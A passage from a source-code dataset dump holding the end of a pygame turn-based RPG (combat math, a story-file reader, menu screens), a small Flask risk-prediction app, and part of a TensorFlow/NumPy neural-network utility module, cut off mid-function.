recovered %i HP!\" % (character.health - debug_health))\n\n # End Turn\n self.character[0][0].potion -= 1\n self.end_turn()\n\n else:\n pass\n \n\n\n def attack_choice(self):\n \"\"\"\n self.state_attack : Attack Choice State (Prevent from clicking multiple times)\n self.slot/death : Check Enemy Slot and Death State\n Button : Draw a Selection Button surrounding each Enemy\n \"\"\"\n if self.state_attack == False:\n self.state_attack = True\n for index in range(3):\n if self.slot[1][index] == True and self.death[1][index] == False:\n sprite_rect = self.character[1][index].Sprite.get_rect(topleft=(self.character_x[1][index-3], self.character_y[1][index-3]))\n Button(None, None, sprite_rect[0]-10, sprite_rect[1]-10, sprite_rect[2]+20, sprite_rect[3]+20, 8, True, False, Color_Red, Color_Green, (index, 1), self.attack)\n\n\n\n def attack(self, target):\n \"\"\"\n Precision : Value generated randomly corresponding to the hit & critical chance\n [Between 0 and 100]\n \n Accuracy : Accuracy rate of the character to hit the target\n [2.5*Level + Speed^1.2/2 + 85]\n \n Evasion : Subtract the accuracy of the character by the evasion rate of the target\n [2.5*Level + Speed/3]\n \n Critical : Chance to make a critical hit that doubles the damage\n [35 - 25*(Health/Maxhealth)^(0.5 + 0.25*(P.Level-E.Level))] 35 - 25*(50/100)^0.5 = 20%\n\n Attack : Calculates the attacker's damage \n (1) [Attack * (50 / (50 + Defense^1.25))]\n (2) [Attack * (10*Attack / (10*Attack + Defense^2*Attack/100))]\n (3) [10x^3 / (10x^2 + 100y^2) (10*x**3) / (10*x**2 + 100*y**2)\n (4) [x^3 / (x^2 + 100y^2/x)\n (5) [x^3 / (x^2 + y^2 + y^3*100/(100+x^2))]\n (6) [x^3 / (x^2 + 1.5y^2 + y^3*100/(100+2x^2))]\n \n Damage : Damage done is between 80% and 120% of the attack\n\n Guard : Reduce damage by 50%\n \"\"\"\n\n # Setup\n target_side = target[1]\n target_index = target[0]\n attacker = self.character[self.turn_side][self.turn_index]\n defender = self.character[target_side][target_index]\n x, y = int(attacker.Strength), int(defender.Defense)\n\n # Formulas\n precision = random.randint(0, 100)\n accuracy = 2.5*attacker.level + attacker.speed**1.2/2 + 85\n evasion = 2.5*defender.level + defender.speed/3\n critical = 35 - 25*(attacker.health/attacker.maxhealth)**(0.5 + 0.25*(attacker.level-defender.level))\n attack = x**3 / (x**2 + 2*y**2 + y**3*100/(100+1.5*x**2))\n damage = random.randint(int(0.8*attack), int(1.2*attack))\n\n print(damage)\n if self.state_guard[target_side][target_index] == True:\n damage = damage//2\n \n print(\"Attacker : %s\" % attacker.name)\n print(\"Defender : %s\" % defender.name)\n print(\"Precision = %i\" % precision)\n print(\"Accuracy = %i\" % accuracy)\n print(\"Evasion = %i\" % evasion)\n print(\"Hit rate = %i\" % (accuracy-evasion))\n print(\"Critical rate = %i\" % critical)\n print(\"Guard : %s\" % self.state_guard[target_side][target_index])\n print(\"Damage = %i\" % damage)\n print()\n\n print(\"Attack vs Defense = %i/%i\" % (attacker.Strength, defender.Defense))\n print()\n\n # Success hit\n if (accuracy-evasion) >= precision:\n # Attack Sound\n if self.state_guard[target_side][target_index] == False:\n Random_SFX = random.randint(0, len(attacker.SFX_Attack)-1)\n pygame.mixer.Sound(attacker.SFX_Attack[Random_SFX]).play()\n\n elif self.state_guard[target_side][target_index] == True:\n Random_SFX = random.randint(0, len(SFX_Metal)-1)\n pygame.mixer.Sound(SFX_Metal[Random_SFX]).play()\n \n \n # Normal Damage\n if critical < precision:\n defender.health = int(defender.health-damage)\n\n # Critical Damage\n else:\n defender.health = int(defender.health-damage*2)\n\n # Death\n if defender.health <= 0:\n defender.health = 0\n defender.Action_Point = 0\n self.death[target_side][target_index] = True\n\n pygame.mixer.Sound(SFX_Battle_Defeated_battle02).play()\n\n # Miss\n else :\n pygame.mixer.Sound(SFX_Battle_Miss_battle14).play()\n\n self.end_turn()\n\n \n\n def end_turn(self):\n \"\"\"\n Setup Reset : Resets all variables used during a turn\n Win Condition : Check the dead status of all enemies\n Lose Condition : Check the dead status of all players\n \"\"\"\n # Setup Reset\n self.character[self.turn_side][self.turn_index].Action_Point = 0\n self.state_attack = False\n self.turn_index = None\n self.turn_side = None\n\n # Win Condition\n Win = True\n for index in range(3):\n if self.slot[1][index] == True and self.death[1][index] == False:\n Win = False\n \n if Win == True:\n if self.training_mode == False:\n Setup.update_init(story=True)\n StoryIG.next_file(story=True)\n Progress.fight += 1\n Progress.story += 1\n\n else:\n Setup.update_init(background=Interface_Fight, music=BGM_Victory_1)\n self.result()\n\n # Lose Condition\n Lose = True\n for index in range(3):\n if self.slot[0][index] == True and self.death[0][index] == False:\n Lose = False\n \n if Lose == True:\n Title_Screen()\n\n\n def result(self):\n \"\"\"\n Setup :\n Enable results, text and button states\n Calculates experience gain and gold\n\n Character Status :\n Displays the name, class, level, experience of the characters\n\n User Interface :\n Displays stage and inventory information\n\n Result Gain :\n Add experience gain to characters\n Add Gold Gain to Total Gold\n \"\"\"\n # Setup\n if Setup.result == False:\n Setup.result = True\n Setup.text = True\n Setup.button = True\n \n exp_gain = 0\n gold_gain = 0\n for index in range(3):\n if self.slot[1][index] == True:\n exp_gain += self.character[1][index].EXP_Gain\n gold_gain += self.character[1][index].Gold_Gain\n\n # Character Status\n for index in range(3):\n # Player\n if self.slot[0][index] == True:\n Text(self.character[0][index].name, 340, 180+150*index, True, \"Text_Interface\")\n Text(self.character[0][index].Class, 540, 90+150*index, True, \"Text_Interface\")\n Text(\"Level : %i\" % self.character[0][index].level, 540, 135+150*index, True, \"Text_Interface\")\n Text(\"EXP : %i + %i\" % (self.character[0][index].Experience, exp_gain), 540, 180+150*index, True, \"Text_Interface\")\n\n # Enemy\n if self.slot[1][index] == True:\n Text(self.character[1][index].name, 785, 135+95*index, True, \"Text_Interface\")\n Text(\"Level : %i\" % self.character[1][index].level, 785, 180+95*index, True, \"Text_Interface\")\n\n # User Interface\n Text(\"Stage : %s\" % Fight.stage, 760, 430, True, \"Text_Interface\")\n Text(\"Result\", 760, 85, True, \"Text_Interface\")\n Text(\"Inventory\", 960, 85, True, \"Text_Interface\")\n Text(\"Gold : %i + %i\" % (PlayerIG.Gold, gold_gain), 760, 480, True, \"Text_Interface\")\n Button(\"Next\", \"Text_Button\", 960, 455, 131, 86, 4, False, True, Color_Green, Color_Red, None, Menu_Zone)\n\n\n # Result Gain\n # Experience Gain\n for index in range(3):\n if self.slot[0][index] == True:\n self.character[0][index].Experience += exp_gain\n\n while self.character[0][index].Experience >= 100:\n self.character[0][index].update_level()\n StoryIG.text_line[1][index] = self.character[index].name + \" has Leveled Up!\"\n self.character[0][index].update_level()\n\n # Gold Gain\n self.character[0][0].Gold += gold_gain\n \nFight = Fight()\n\n\n\nclass StoryIG():\n def __init__(self):\n # Text Input\n self.textinput = pygame_textinput.TextInput()\n self.input_line = self.textinput.get_text()\n \n # State\n self.path = \"\" # Path of text files\n self.bootup = \"\" # Run self.update() once\n self.list_story = load_file(\"Data\\Story\") # Load text files\n self.list_fight = load_file(\"Data\\Fight\") # Load Enemy Informations\n self.file = open(self.list_story[Progress.story], \"r\") # Open the text file\n self.read_line = \"\" # Line of text read from the file\n self.state_read = True # Continue/Stop Reading\n self.state_input = False # Display input field\n\n # Position text\n self.x = 5\n self.y = 565\n self.character_x = [100, 1180]\n self.character_y = [535, 535]\n \n # Position input_box\n self.input_x = 540\n self.input_y = 340\n self.input_width = 200\n self.input_height = 40\n self.input_border = 5\n \n # Display\n self.index = [0,0] # Line index\n self.side = [\"[L]\",\"[R]\"] # Side of the text\n self.character = [\"\",\"\"] # Name of the speaking characters\n self.text_line = [[\"\",\"\",\"\",\"\",\"\",\"\",\"\"], # Left side text\n [\"\",\"\",\"\",\"\",\"\",\"\",\"\"]] # Right side text\n\n def update_init(self):\n self.index = [0,0]\n self.side = [\"[L]\",\"[R]\"]\n self.character = [\"\",\"\"]\n self.text_line = [[\"\",\"\",\"\",\"\",\"\",\"\",\"\"], [\"\",\"\",\"\",\"\",\"\",\"\",\"\"]]\n self.read_line = \"\"\n self.state_read = True\n self.state_input = False\n self.file = open(self.list_story[Progress.story], \"r\")\n \n\n \n def update(self):\n if self.textinput.update(Tools.events) or self.bootup!=self.file:\n \"\"\"\n Bootup : Start events once to load information like background, first line, etc...\n \"\"\"\n if self.bootup != self.file:\n self.bootup = self.file\n\n \n \"\"\"\n Input_Line : Text entered by the keyboard\n Textinput : Text Surface\n \"\"\"\n # Input Text\n self.input_line = self.textinput.get_text()\n self.textinput = pygame_textinput.TextInput()\n\n \"\"\"\n State_Input : Remove the Input Field\n State_Read : Resume reading the Text File\n PlayerIG.name : Name of the Player entered in the Input Field\n \"\"\"\n # Player Name Input\n if self.state_input == True and self.input_line != \"\":\n self.next_file(story=True)\n self.bootup = self.file\n self.state_input = False\n self.state_read = True\n PlayerIG.name = self.input_line\n self.character[0] = PlayerIG.name\n self.input_line = \"\"\n\n \n \"\"\"\n Read_Line : Next Line in Text File\n Update_State : Check for a change of State\n Clear_Text : Clear Text if all lines are filled\n \"\"\"\n # Read\n if self.state_read == True:\n self.read_line = self.file.readline().rstrip('\\n').replace(\"%PlayerIG.name\", (\"%s\" % PlayerIG.name)) # Text in File\n self.update_state()\n self.clear_text()\n \n for i in range(2):\n if self.side[i] in self.read_line:\n self.text_line[i][self.index[i]] = self.read_line.replace(self.side[i], \"\")\n self.text_line[i][self.index[i]+1] = \"(-> Press Enter)\"\n self.text_line[abs(i-1)][self.index[abs(i-1)]] = \"\"\n self.index[i] += 1\n self.update_display()\n\n\n def update_state(self):\n \"\"\"\n Story Informations :\n Background : Change the wallpaper by what is written in the text file\n Music : Play the music written in the text file\n Sound : Play the sound written in the text file\n Name : Displays the name of the character in the corresponding side\n rstrip('\\n'): Prevent reading bugs\n \"\"\"\n if \"(BACKGROUND)\" in self.read_line:\n Setup.background = eval(self.read_line.replace(\"(BACKGROUND)\", \"\"))\n self.read_line = self.file.readline().rstrip('\\n')\n self.clear_text(left=True, right=True)\n self.character = [\"\",\"\"]\n self.update_state()\n\n \n if \"(MUSIC)\" in self.read_line:\n Setup.update_music(eval(self.read_line.replace(\"(MUSIC)\", \"\")))\n self.read_line = self.file.readline().rstrip('\\n')\n self.clear_text(left=True, right=True)\n self.character = [\"\",\"\"]\n self.update_state()\n\n \n if \"(SOUND)\" in self.read_line:\n eval(self.read_line.replace(\"(SOUND)\", \"\")).play()\n self.read_line = self.file.readline().rstrip('\\n')\n self.update_state()\n\n \n if \"(NAME)\" in self.read_line:\n for index in range(2):\n if self.side[index] in self.read_line:\n self.character[index] = self.read_line.replace(\"(NAME)%s\" % self.side[index], \"\").replace(\"%PlayerIG.name\", (\"%s\" % PlayerIG.name))\n self.read_line = self.file.readline().rstrip('\\n').replace(\"%PlayerIG.name\", (\"%s\" % PlayerIG.name))\n self.update_state()\n\n\n \"\"\"\n Story Events :\n Event : Stop reading during an event\n Input : Display an input field\n Next : Open next text file\n Fight : Start the fight with the enemies corresponding to the combat text file\n Result : Shows victory screen\n \"\"\"\n if \"(INPUT)\" in self.read_line:\n self.state_input = True\n self.read_line = self.read_line.rstrip('\\n').replace(\"(INPUT)\", \"\")\n self.input_line = \"\"\n\n \n if \"(EVENT)\" in self.read_line:\n self.state_read = False\n self.read_line = self.read_line.rstrip('\\n').replace(\"(EVENT)\", \"\")\n \n \n if \"(NEXT)\" in self.read_line:\n self.next_file(story=True)\n \n\n if \"(FIGHT)\" in self.read_line:\n # Informations : Load Background and Music\n self.next_file(fight=True)\n self.read_line = self.file.readline().rstrip('\\n')\n self.update_state()\n\n enemy = []\n enemy_count = file_len(self.list_fight[Progress.fight])-3\n for index in range(enemy_count):\n enemy.append(eval(self.file.readline().rstrip('\\n')))\n\n # User Interface\n Fight.update_enemy(enemy)\n Setup.update_init(Setup.background, Setup.music, fight=True)\n\n if \"(RESULT)\" in self.read_line:\n self.text_line[0][self.index[0]] = \"\"\n self.text_line[1][self.index[1]] = \"\"\n Fight.result()\n\n\n def update_display(self):\n \"\"\"\n Background : Cutscene's User Interface\n Text : Character's Dialogue\n Input Box : Display Input Field & Text Entered\n \"\"\"\n # Background\n gameDisplay.blit(Interface_Cutscene, (0,0))\n\n # Input Box\n if self.state_input == True:\n pygame.draw.rect(gameDisplay, Color_Grey, [self.input_x, self.input_y, self.input_width, self.input_height])\n pygame.draw.rect(gameDisplay, Color_Black, [self.input_x, self.input_y, self.input_width, self.input_height], self.input_border)\n\n # Text Center\n rect = self.textinput.get_surface()\n text_w = rect.get_width()//2\n text_h = rect.get_height()//2\n box_w = self.input_x + self.input_width/2\n box_h = self.input_y + self.input_height/2\n size = (box_w-text_w, box_h-text_h)\n gameDisplay.blit(self.textinput.get_surface(), size)\n\n # Text\n for side in range(len(self.text_line)):\n self.load_text(self.character[side], self.character_x[side], self.character_y[side], True)\n for index in range(len(self.text_line[side])):\n self.load_text(self.text_line[side][index], self.x+720*side, self.y+20*index)\n \n\n def load_text(self, text, x, y, center=False):\n font = pygame.font.SysFont(None, 35)\n textSurf = font.render(text, True, Color_Black)\n textRect = textSurf.get_rect(topleft=(x,y))\n \n if center == True:\n textRect = textSurf.get_rect(center=(x,y))\n\n gameDisplay.blit(textSurf, textRect)\n \n def clear_text(self, left=False, right=False):\n side = [left,right]\n for index in range(2):\n if side[index] == True or self.side[index] in self.read_line and self.index[index] == 6:\n self.text_line[index] = [\"\",\"\",\"\",\"\",\"\",\"\",\"\"]\n self.index[index] = 0\n\n def next_file(self, story=False, fight=False):\n self.file.close()\n\n if story == True:\n Progress.story += 1\n self.file = open(self.list_story[Progress.story], \"r\")\n \n elif fight == True:\n self.file = open(self.list_fight[Progress.fight], \"r\")\n self.clear_text(left=True, right=True)\n \nStoryIG = StoryIG()\n \n\n\n##### ###### ##### #####\n\n\n\ndef Quit_Game():\n pygame.quit()\n quit()\n\n\n \n# Game - Main Function\ndef Title_Screen():\n # Setup\n Setup.update_init(Background_Title_Screen_1, BGM_Title_Screen, text=True)\n \n # Button\n Button(\"Start\", \"Text_Button\", 1*display_width/4, 3*display_height/4, display_width/8, display_height/12, 15, True, True, Color_Green, Color_Red, None, Main_Story)\n Button(\"Gallery\", \"Text_Button\", 2*display_width/4, 3*display_height/4, display_width/8, display_height/12, 15, True, True, Color_Green, Color_Red, None, OST_Gallery)\n Button(\"Main\", \"Text_Button\", 3*display_width/4, 3*display_height/4, display_width/8, display_height/12, 15, True, True, Color_Green, Color_Red, None, Menu_Zone)\n\n # Text\n Text(Project_Title, display_width/2, display_height/4, True, \"Text_Title_Screen\")\n \n # Loop\n gameExit = False\n while not gameExit:\n Setup.update()\n for event in Tools.events:\n if event.type == pygame.QUIT:\n Quit_Game()\n\n\ndef Menu_Zone():\n # Setup\n Setup.update_init(Interface_Main_Menu, BGM_Menu_1, text=True)\n\n # Setup - Sprite\n AnimatedSprite(1230, 470, True, \"Data\\Sprite_Button\\Sprite_Button_Fight\", clock.tick(FPS), 4, Main_Story)\n AnimatedSprite(615, 385, True, \"Data\\Sprite_Button\\Sprite_Button_Traning\", clock.tick(FPS), 4, Main_Training)\n\n # Setup - Button\n Button(\"Inventory\", \"Text_Button\", 120, 680, 144, 34, 0, False, True, Color_Green, Color_Red, None, Setup.inventory_init)\n Button(\"Shop\", \"Text_Button\", 284, 680, 144, 34, 0, False, True, Color_Green, Color_Red, None, Setup.shop_init)\n Button(\"Save\", \"Text_Button\", 448, 680, 144, 34, 0, False, True, Color_Green, Color_Red, None, Game_Save)\n Button(\"Music\", \"Text_Button\", 1083, 661, 77, 77, 0, False, True, Color_Green, Color_Red, None, OST_Gallery)\n Button(\"Credits\", \"Text_Button\", 1199, 661, 77, 77, 0, False, True, Color_Green, Color_Red, None, Credits)\n\n # Loop\n gameExit = False\n while not gameExit:\n Setup.update()\n for event in Tools.events:\n if event.type == pygame.QUIT:\n Quit_Game()\n\ndef Main_Story():\n # Setup\n Setup.update_init(story=True)\n StoryIG.update_init()\n \n # Loop\n gameExit = False\n while not gameExit:\n Setup.update()\n for event in Tools.events:\n if event.type == pygame.QUIT:\n Quit_Game()\n\n\ndef Main_Training():\n # Setup\n Setup.update_init(Interface_Fight, List_BGM[random.randint(8, 12)], fight=True)\n Fight.training_mode = True\n\n # Enemy List\n Fight.update_enemy(random_enemy=True)\n \n # Loop\n gameExit = False\n while not gameExit:\n Setup.update()\n for event in Tools.events:\n if event.type == pygame.QUIT:\n Quit_Game()\n\n \ndef OST_Gallery():\n # Setup\n Setup.update_init(Background_Title_Screen_2, BGM_Title_Screen)\n\n # Music Buttons\n index = 0\n for row in range(round(0.5+len(List_BGM)/6)) :\n for col in range(6):\n if index < len(List_BGM):\n Button(\"Music %i\" % (index+1), \"Text_Button\", 60+200*col, 100+112*row, 160, 72, 12, True, False, Color_Green, Color_Red, List_BGM[index], Music_Play)\n index += 1\n\n # Exit Button\n Button_Image(1255, 25, True, Icon_Exit, Icon_Exit, None, Title_Screen)\n \n # Loop\n gameExit = False\n while not gameExit:\n Setup.update()\n for event in Tools.events:\n if event.type == pygame.QUIT:\n Quit_Game()\n\ndef Game_Save():\n print(\"Game Saved!\")\n\ndef Credits():\n print(\"Credits!\")\n\nTitle_Screen()\n","repo_name":"NightFore/Game-Project-5-Serenity-Dawn","sub_path":"[Game Project 5] Serenity Dawn.py","file_name":"[Game Project 5] Serenity Dawn.py","file_ext":"py","file_size_in_byte":50878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27234003030","text":"# Flask libraries\r\nimport json\r\nfrom flask import request, redirect, url_for, jsonify\r\nfrom flask import Flask, render_template\r\nfrom prediction import pred, impact_pr\r\nimport numpy as np\r\napp = Flask(__name__, template_folder='templates')\r\n\r\nprob = {}\r\nimpacts = {}\r\nresult ={}\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n\r\n@app.route('/test', methods=['POST'])\r\ndef test():\r\n global prob\r\n global impacts\r\n global result\r\n output = request.get_json()\r\n result = json.loads(output) #this converts the json output to a python dictionary\r\n print(result) # Printing the new dictionary\r\n #prob.append([result['pcategory'], result['rcategory'], result['risk_items'][i], result['risk_cat'][i], result['budget'], result['duration']])\r\n \r\n return result\r\n\r\n\r\n@app.route('/results', methods=['POST', 'GET'])\r\ndef results():\r\n global prob\r\n global impacts\r\n global result\r\n for i in range (0, len(result['risk_items'])):\r\n params = np.array([result['pcategory'], result['rcategory'], result['risk_items'][i], result['risk_cat'][i], result['budget'], result['duration'] ])\r\n pred_prob = pred(params)\r\n pred_imp = impact_pr(params)\r\n prob[result['risk_cat'][i]]=pred_prob[0]\r\n impacts[result['risk_cat'][i]]=pred_imp\r\n \r\n return render_template('results.html', prob=prob, impacts = impacts)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.debug = True\r\n app.run()\r\n","repo_name":"MahireAsadzade/ProjectRiskEstimator","sub_path":"contact-form-14/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7566003470","text":"import tensorflow as tf\r\nimport numpy as np\r\nimport random\r\nimport math\r\n\r\n\r\nclass PrePost:\r\n \"\"\"\r\n Functions with the purpose of assisting in Machine Learning pre and post processing.\r\n Prefix indicates domain in which function operates: np - Numpy, tf - TensorFlow.\r\n Mappings simplified with Input -> Output description.\r\n\r\n Note:\r\n - X examples are often stored as an (m * n) np array where m is the number of training examples and\r\n n is the number of features\r\n - Y labels are often stored as an (m * k) np array where m is the number of examples training examples and\r\n k is the number of labels (k = 1 for regression and binary classification)\r\n \"\"\"\r\n\r\n @staticmethod\r\n def tf_square_error(tf_logits, tf_labels):\r\n \"\"\"\r\n Calculates element-wise squared difference of tensors passed\r\n\r\n t1, t2 -> (t1 - t2) ** 2\r\n\r\n :param tf_logits: (m * k) tensor of prediction values\r\n :param tf_labels: (m * k) tensor of true values\r\n :return: the element-wise square difference of each corresponding term\r\n \"\"\"\r\n return tf.square(tf_logits - tf_labels)\r\n\r\n @staticmethod\r\n def tf_cross_entropy(tf_logits, tf_labels):\r\n \"\"\"\r\n Calculates element-wise cross entropy on tensors passed\r\n\r\n t1, t2 -> cross entropy\r\n\r\n :param tf_logits: (m * k) tensor of prediction values\r\n :param tf_labels: (m * k) tensor of true values\r\n :return: the element-wise cross entropy of each corresponding term\r\n \"\"\"\r\n return tf_labels * -tf.log(tf_logits + 1e-10) - (1 - tf_labels) * tf.log(1 - tf_logits + 1e-10)\r\n\r\n @staticmethod\r\n def np_sigmoid(np_x):\r\n \"\"\"\r\n Applies the sigmoid function element-wise to the np array passed\r\n Note: works on scalars\r\n\r\n np array -> np array\r\n\r\n :param np_x: n-dimensional np array (or matrix)\r\n :return: result of sigmoid application\r\n \"\"\"\r\n return 1 / (1 + np.exp(-1 * np_x))\r\n\r\n # TODO: test on tensors with alternative dimensions (tested 2D)\r\n @staticmethod\r\n def tf_extend_ones(tf_tensor, axis):\r\n \"\"\"\r\n Add row or column of 1's to tensor passed\r\n\r\n tensor -> extended tensor\r\n\r\n :param tf_tensor: target (rank 2) tensor\r\n :param axis: axis in which extension should occur axis=0 adds row, axis=1 adds column\r\n :return: extended tensor\r\n \"\"\"\r\n\r\n # store shape of tensor passed\r\n tf_dims = tf.shape(tf_tensor)\r\n\r\n if axis == 0:\r\n tf_row = tf.ones(shape=[1, tf_dims[1]], dtype=tf_tensor.dtype)\r\n return tf.concat([tf_row, tf_tensor], 0)\r\n elif axis == 1:\r\n tf_col = tf.ones(shape=[tf_dims[0], 1], dtype=tf_tensor.dtype)\r\n return tf.concat([tf_col, tf_tensor], 1)\r\n else:\r\n print(\"ERROR: unrecognized axis passed to tf_extend_ones\")\r\n return None\r\n\r\n @staticmethod\r\n def np_extend_ones(np_matrix, axis):\r\n \"\"\"\r\n Adds row or column of 1's to matrix passed\r\n\r\n matrix -> extended matrix\r\n\r\n :param np_matrix: target matrix\r\n :param axis: axis in which extension should occur axis=0 adds row, axis=1 adds column\r\n :return new_matrix: extended matrix\r\n \"\"\"\r\n\r\n matrix_copy = np_matrix\r\n\r\n height, width = np_matrix.shape\r\n\r\n if axis == 0:\r\n new_matrix = np.ones(shape=(height + 1, width))\r\n new_matrix[1:, :] = matrix_copy\r\n elif axis == 1:\r\n new_matrix = np.ones(shape=(height, width + 1))\r\n new_matrix[:, 1:] = matrix_copy\r\n else:\r\n print(\"ERROR: unrecognized axis passed to np_extend_ones\")\r\n return None\r\n\r\n return new_matrix\r\n\r\n @staticmethod\r\n def np_feat_normal(np_x_examples):\r\n \"\"\"\r\n Normalizes features of examples passed\r\n (X - mean) / std\r\n\r\n Data -> normalized Data, normalization info\r\n\r\n :param np_x_examples: (m * n) matrix containing x examples\r\n :return normald_mat, feature_means, feature_stds:\r\n the normalized (m * n) matrix along with the feature mean and std\r\n \"\"\"\r\n\r\n feature_means = np.mean(np_x_examples, axis=0)\r\n feature_stds = np.std(np_x_examples, axis=0) + 1e-10 # avoid 0 div\r\n\r\n normald_mat = (np_x_examples - feature_means) / feature_stds\r\n\r\n return normald_mat, feature_means, feature_stds\r\n\r\n @staticmethod\r\n def np_tt_split(np_x_examples, np_y_examples, train_portion=0.70):\r\n \"\"\"\r\n Randomly splits data into testing and training based on portion passed\r\n\r\n Data -> train Data, test Data\r\n\r\n :param np_x_examples: m * n matrix containing all X examples\r\n :param np_y_examples: m * k matrix containing all Y labels\r\n :param train_portion: percentage of data to be trained\r\n :return np_x_train, np_x_test, np_y_train, np_y_test: data split by training portion\r\n \"\"\"\r\n\r\n m, n = np_x_examples.shape\r\n _, k = np_y_examples.shape\r\n\r\n # random indices for data to occupy\r\n rand_range = list(range(m))\r\n random.shuffle(rand_range)\r\n\r\n train_examp_count = math.floor(train_portion * m)\r\n test_examp_count = m - train_examp_count\r\n\r\n np_x_train = np.zeros((train_examp_count, n))\r\n np_x_test = np.zeros((test_examp_count, n))\r\n np_y_train = np.zeros((train_examp_count, k))\r\n np_y_test = np.zeros((test_examp_count, k))\r\n\r\n for i in range(train_examp_count):\r\n np_x_train[i, :] = np_x_examples[rand_range[i], :]\r\n np_y_train[i, :] = np_y_examples[rand_range[i], :]\r\n\r\n for i in range(test_examp_count):\r\n np_x_test[i, :] = np_x_examples[rand_range[i + train_examp_count], :]\r\n np_y_test[i, :] = np_y_examples[rand_range[i + train_examp_count], :]\r\n\r\n return np_x_train, np_x_test, np_y_train, np_y_test\r\n\r\n @staticmethod\r\n def batch_split(np_x_examples, np_y_examples, batch_size):\r\n \"\"\"\r\n Splits X and Y into list of tuple batches (batch_size * n matrix, batch_size * k matrix)\r\n Last batch will be of size m % batch_size\r\n\r\n Data -> [b1, b2, ... bn]\r\n where bi = (x, y)\r\n\r\n :param np_x_examples: m * n matrix containing X examples\r\n :param np_y_examples: m * k matrix containing Y labels\r\n :param batch_size: desired sizes of batches\r\n :return batch_list: list of tuples containing the batches of X's and Y's\r\n \"\"\"\r\n\r\n m, n = np_x_examples.shape\r\n\r\n batch_list = []\r\n\r\n for i in range(int(m / batch_size)):\r\n this_x = np_x_examples[i * batch_size: (i + 1) * batch_size, :]\r\n this_y = np_y_examples[i * batch_size: (i + 1) * batch_size, :]\r\n\r\n batch_list.append((this_x, this_y))\r\n\r\n # remainder batch\r\n if (m / batch_size) % 1 != 0:\r\n last_x = np_x_examples[(int(m / batch_size)) * batch_size:, :]\r\n last_y = np_y_examples[(int(m / batch_size)) * batch_size:, :]\r\n batch_list.append((last_x, last_y))\r\n\r\n return batch_list\r\n\r\n\r\nclass TrainTest:\r\n \"\"\"\r\n Functions with the purpose of training and testing statistical models on data.\r\n All data passed and returned should be an np array of rank 2, or a list of such arrays (no tf's).\r\n Each function uses its own session and all TensorFlow operations are internal.\r\n \"\"\"\r\n\r\n # TODO: consider altering propagation to remove double transpose (change TRAIN method)\r\n @staticmethod\r\n def forward_prop(np_x_examples, list_np_theta, tf_activation_f=tf.sigmoid, layer_activation_guide=None):\r\n \"\"\"\r\n Runs examples on Network passed. Outputs prediction for regression and predicted likelihoods for\r\n classification\r\n\r\n examples, THETA -> predictions\r\n\r\n :param np_x_examples: (m * n) array of example data\r\n :param np_theta_list: List of np layer arrays\r\n :param tf_activation_f: activation function to be used between layers\r\n :param layer_activation_guide: Outlines layers in which activation function should be applied\r\n (defaults to every layer)\r\n :return: (m * k) array of predictions\r\n \"\"\"\r\n\r\n m, n = np_x_examples.shape\r\n\r\n tf_x = tf.placeholder('float', [None, n], name=\"tf_x\")\r\n\r\n # determines on which layers to apply activation function (defaults to every layer)\r\n if layer_activation_guide is None:\r\n layer_activation_guide = [True] * (len(list_np_theta))\r\n\r\n # convert np thetas to tf\r\n list_tf_theta = []\r\n for this_np_theta in list_np_theta:\r\n list_tf_theta.append(tf.Variable(this_np_theta))\r\n\r\n # forward prop, using activation function when specified\r\n output = tf.transpose(tf_x)\r\n for i in range(len(list_tf_theta)):\r\n output = PrePost.tf_extend_ones(output, 0)\r\n if layer_activation_guide[i]:\r\n output = tf_activation_f(tf.matmul(list_tf_theta[i], output))\r\n else:\r\n output = tf.matmul(list_tf_theta[i], output)\r\n\r\n output = tf.transpose(output)\r\n\r\n with tf.Session() as sess:\r\n sess.run(tf.global_variables_initializer())\r\n return sess.run(output, feed_dict={tf_x: np_x_examples})\r\n\r\n # TODO: consider altering propagation to remove double transpose (change TRAIN method)\r\n @staticmethod\r\n def train_deep_NN(np_x_examples, np_y_examples, hl_architecture, num_epochs=10, batch_size=10, reg_param=0.0,\r\n show_epoch_each=1, tf_activation_f=tf.sigmoid, optimizer=tf.train.AdamOptimizer(),\r\n tf_error_f=PrePost.tf_cross_entropy, layer_activation_guide=None):\r\n \"\"\"\r\n Trains a feed-forward neural network on the data passed\r\n Network can have a non-negative number of hidden layers of variables size (0 hidden layers is linear model)\r\n Optimizer, activation function, and cost function are all able to be specified\r\n\r\n examples, labels, NN specifications -> [Theta(0), Theta(1), ... Theta(h)]\r\n\r\n where h is the number of hidden layers\r\n Theta(0) maps input data to first hidden layer\r\n Theta(1) first hl to second hl.... and Theta(h) last hl to output\r\n\r\n :param np_x_examples: X training data (m * n) matrix\r\n :param np_y_examples: Y training data (m * k) matrix\r\n :param hl_architecture: List of hidden layer sizes\r\n :param num_epochs: number of times to cycle through batches\r\n :param batch_size: size of batches to train on\r\n :param reg_param: regularization parameter\r\n :param show_epoch_each: frequency to show training status and error\r\n :param tf_activation_f: activation function to be used from layer to layer\r\n :param optimizer: method of parameter optimization\r\n :param tf_error_f: un-regularized cost function\r\n :param layer_activation_guide: specifies when activation function should be applied (default every layer)\r\n :return: list of learned weight matrices\r\n \"\"\"\r\n\r\n m, n = np_x_examples.shape\r\n _, k = np_y_examples.shape\r\n\r\n # data divided into batch tuples\r\n batch_tups = PrePost.batch_split(np_x_examples, np_y_examples, batch_size)\r\n\r\n # construct layer neuron counts from input/output size and hl size\r\n net_arch = hl_architecture\r\n net_arch.insert(0, n)\r\n net_arch.append(k)\r\n\r\n # each Theta is a 2-dimensional tensor mapping layer to layer\r\n # dimensions are (layer(i + 1) * layer(i))\r\n Thetas = []\r\n for i in range(len(net_arch) - 1):\r\n Thetas.append(tf.Variable(1e-10 * tf.random_normal([hl_architecture[i + 1], hl_architecture[i] + 1])))\r\n\r\n # tensors will hold examples and results\r\n tf_x = tf.placeholder('float', [None, n], name=\"tf_x\")\r\n tf_y = tf.placeholder('float', [None, k], name=\"tf_y\")\r\n\r\n # determines on which layers to apply activation function (defaults to every layer)\r\n if layer_activation_guide is None:\r\n layer_activation_guide = [True] * (len(net_arch) - 1)\r\n\r\n # forward prop, using activation function when specified\r\n output = tf.transpose(tf_x)\r\n for i in range(len(Thetas)):\r\n output = PrePost.tf_extend_ones(output, 